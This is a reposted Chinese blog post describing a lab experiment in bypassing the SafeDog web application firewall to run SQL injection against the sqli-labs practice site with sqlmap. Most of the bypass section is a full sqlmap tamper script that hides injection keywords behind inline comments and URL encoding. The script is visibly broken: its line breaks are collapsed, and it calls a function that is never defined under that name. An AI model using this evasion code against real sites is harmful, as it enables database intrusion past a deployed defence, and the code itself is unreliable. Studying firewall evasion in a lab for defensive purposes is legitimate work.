简单的安全狗绕过实验

admin 2022年9月21日23:59:26评论84 views字数 1925阅读6分25秒阅读模式

# 0x00 安全狗安装


在服务器上安装安全狗软件,关联到Apache路径,如下图:


简单的安全狗绕过实验


apache需要注册为服务可执行命令完成此操作。


httpd.exe -k install -n apache


简单的安全狗绕过实验


之后安装相应插件,并且开启服务。


简单的安全狗绕过实验



安装完成后重启服务


简单的安全狗绕过实验


输出payload,观察安全狗拦截效果,成功拦截:


简单的安全狗绕过实验


# 0x01 靶场搭建


过程中发现phpstudy不解析php,如图sqli-labs靶场未解析。


简单的安全狗绕过实验


排查发现站点处于过期状态,通过如下操作启用站点。


简单的安全狗绕过实验


最后测试仍未起作用,在该页面删除原有站点并新增站点,发现此时php文件可被解析。


简单的安全狗绕过实验


测试发现此刻安全狗可拦截有问题的请求。


# 0x02 bypass测试


此时利用工具sqlmap注入漏洞,payload被拦截


简单的安全狗绕过实验


使用tamper,其代码如下


import reimport stringimport osimport random
from lib.core.enums import DBMSfrom lib.core.common import singleTimeWarnMessage
def dependencies(): singleTimeWarnMessage("MySQLByPassForSafeDog / '%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs): payload=payload.replace('AND','/*%2144575%26%26*/') payload=payload.replace('ORD','/*%2144575ORD*/') payload=payload.replace('OR ','/*%2144575OR*/ ') payload=payload.replace('UNION SELECT','UNION/*/%21*%21**/SELECT') payload=payload.replace('ORDER BY',str(caonimabi())+'ORDER/*////*/BY') payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/') payload=payload.replace('@','/*%2144575%40*/') payload=payload.replace('SELECT','/*%2144575%53%45%4c%45%43%54*/') payload=payload.replace('table_name',str(caonimabi())+'table_name') payload=payload.replace('MID',str(caonimabi())+'MID') payload=payload.replace('CAST',str(caonimabi())+'CAST') payload=payload.replace('USER()','%23a%0aUSER/*!*/()') payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()',str(caonimabi())+'CURRENT_USER()') payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()') payload=payload.replace('()','/*%2144575%28%29*/') payload=payload.replace(' (','/**/(') payload=payload.replace(',(',',/**/(') payload=payload.replace('),',')/**/,') payload=payload.replace(') ',')/**/') payload=payload.replace('/','%2F') payload=payload.replace('*','%2A') return payload
def cnmb(): temp = ''.join(random.sample(string.ascii_letters + string.digits, random.randint(3,9))) return '/*'+temp+'*/'


简单的安全狗绕过实验


未使用tamper,无法注入得到当前数据库


简单的安全狗绕过实验


使用tamper后获得数据库


简单的安全狗绕过实验

原文始发于微信公众号(here404):简单的安全狗绕过实验

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月21日23:59:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单的安全狗绕过实验http://cn-sec.com/archives/1309025.html

发表评论

匿名网友 填写信息